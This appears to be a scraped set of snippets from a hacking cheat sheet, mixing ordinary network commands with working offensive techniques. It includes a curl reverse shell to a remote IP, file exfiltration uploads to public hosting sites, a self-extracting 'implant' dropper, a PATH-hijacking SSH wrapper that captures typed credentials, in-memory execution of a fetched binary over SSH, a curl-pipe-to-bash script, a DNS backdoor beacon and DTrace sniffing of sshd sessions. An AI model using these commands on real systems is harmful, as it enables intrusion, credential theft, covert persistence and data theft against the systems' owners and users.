### List Listening TCP Sockets

Source: https://tips.hackerschoice.org/

Shows all listening TCP sockets on the system. Useful for identifying services that are accepting connections.

```bash
ss -lntp
```

--------------------------------

### Create Encrypted Filesystem with EncFS

Source: https://tips.hackerschoice.org/

This snippet shows how to create an encrypted filesystem using EncFS. It sets up separate directories for the raw encrypted data and the mounted readable filesystem.

```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"
```

--------------------------------

### Rlwrap for Reverse Tunnel (Netcat)

Source: https://tips.hackerschoice.org/

Uses rlwrap to improve the interactive experience when setting up a reverse tunnel with netcat. Buffers input until Enter is pressed.

```bash
rlwrap --always-readline nc -vnlp 1524
```

--------------------------------

### Send File via Exfil Service

Source: https://tips.hackerschoice.org/

Utilize the `blitz` command-line tool to send a file. This is part of a suite of exfiltration tools.

```bash
blitz -l
blitz foo.txt
```

--------------------------------

### List Internet Connections

Source: https://tips.hackerschoice.org/

Lists all active internet connections using either lsof or netstat. Useful for network monitoring.

```bash
lsof -Pni
```

```bash
netstat -putan
```

```bash
ss -putan
```

--------------------------------

### Upload File via 0x0.st Exfil Service

Source: https://tips.hackerschoice.org/

Use curl to upload a file to the 0x0.st exfiltration service. This is a simple and effective way to share files anonymously.

```bash
curl -F'file=@foo.txt'  https://0x0.st/
```

--------------------------------

### Encrypt File with OpenSSL

Source: https://tips.hackerschoice.org/

Encrypts a file using OpenSSL with AES-256-CBC and PBKDF2 for key derivation. Remember to choose a strong password.

```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
```

--------------------------------

### Create Simple Self-Extracting Shell Script

Source: https://tips.hackerschoice.org/

Uses `mkegg.sh` to create a self-extracting shell script named `egg.sh`. This script will extract a file named `foo` and a directory named `warez`, then execute `warez/run.sh`.

```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

```

--------------------------------

### Establish Reverse Shell with ncat and cURL

Source: https://tips.hackerschoice.org/

On the target, this command establishes a connection to an ncat listener, redirects standard output and error to the connection, and reads commands from standard input.

```bash
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
```

--------------------------------

### Show Default Internet Route

Source: https://tips.hackerschoice.org/

Displays the default internet route for the system. Use netstat or ip route for this information.

```bash
netstat -rn
```

```bash
ip route show
```

--------------------------------

### Upload File via LitterBox Exfil Service

Source: https://tips.hackerschoice.org/

Use curl to upload a file to the litterbox.catbox.moe exfiltration service, specifying the upload request type and retention time.

```bash
curl -F reqtype=fileupload -F time=72h -F 'fileToUpload=@foo.txt' https://litterbox.catbox.moe/resources/internals/api.php
```

--------------------------------

### Create SSH Wrapper Script for Strace Logging

Source: https://tips.hackerschoice.org/

This script replaces the default 'ssh' command to log all read operations from SSH sessions. It requires creating a log directory and a helper script 'ssh-log'. The PATH environment variable is modified to prioritize the local 'ssh' binary.

```bash
# Cut & Paste the following into a bash shell:
# Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh:
echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

# Create a log directory and our own ssh binary
mkdir -p ~/.local/bin ~/.local/logs

cat <<__EOF__ >~/.local/bin/ssh
#! /bin/bash
strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@
__EOF__

cat <<__EOF__ >~/.local/bin/ssh-log
#! /bin/bash
grep -F 'read(4' | cut -f2 -d\" | while read -r x; do
        [[ ${#x} -gt 5 ]] && continue 
        [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; }
        echo -n "${x}"
done >$HOME/.local/logs/ssh-log-"${1}"-\`date +%s\`
__EOF__

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log
. ~/.profile

echo -e "\033[1;32m***SUCCESS***.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
  grep -v 0xFD0E ~/.profile >~/.profile-new && mv ~/.profile-new ~/.profile
  rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
  rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
```

--------------------------------

### Set Brute Force Lists and Target

Source: https://tips.hackerschoice.org/

Define variables for username list, password list, and target host for use with brute-forcing tools.

```bash
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
```

--------------------------------

### Remote Execution via SSH with Memory Loading

Source: https://tips.hackerschoice.org/

This snippet shows how to pipe a binary over SSH and execute it directly in the remote system's memory. It uses 'curl' to fetch the binary and 'perl' with 'memexec' logic for in-memory execution.

```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,>&="$f");print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
```

--------------------------------

### Forward Port with pinggy.io

Source: https://tips.hackerschoice.org/

Forward a random public TCP port to localhost:31337 using pinggy.io, which offers 60 minutes of free usage.

```bash
ssh -p 443 -R 0:localhost:31337 tcp@a.pinggy.io
```

--------------------------------

### Download with Bash TCP

Source: https://tips.hackerschoice.org/

Downloads content from a given URL using bash's /dev/tcp pseudo-device. Supports specifying a custom port via the PORT environment variable.

```bash
burl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'
' ]] && break; done && cat ) <&3
    exec 3>&-
}
```

--------------------------------

### Run OONI Probe Internet measurement

Source: https://tips.hackerschoice.org/

Execute OONI Probe to measure Internet performance and censorship. This command runs the 'im' (Internet Measurement) test.

```bash
ooniprobe run im
```

--------------------------------

### List specific OONI Probe measurement details

Source: https://tips.hackerschoice.org/

Show details for a specific OONI Probe measurement type, identified by its index.

```bash
ooniprobe list 1
```

--------------------------------

### Create Python DNS Backdoor Target Script

Source: https://tips.hackerschoice.org/

Creates a simple Python script (`egg.py`) that generates a DNS request, intended to be used with a DNS backdoor.

```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

```

--------------------------------

### Find SUID/SGID Binaries

Source: https://tips.hackerschoice.org/

Finds all files with SUID or SGID bits set on the system. Errors are redirected to /dev/null to keep the output clean.

```sh
find  / -xdev -type f -perm /6000  -ls 2>/dev/null
```

--------------------------------

### Alternative Host Reconnaissance Script

Source: https://tips.hackerschoice.org/

Fetches and executes an alternative host reconnaissance script from the THC GitHub repository. Useful if the primary source is unavailable.

```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
```

--------------------------------

### Sniff SHELL Sessions with DTrace on FreeBSD

Source: https://tips.hackerschoice.org/

Uses DTrace kernel probes to trace all sshd processes for session sniffing on FreeBSD systems. Logs output to /tmp/.log.

```d
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
```

```bash
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
```
Tokens:
Raw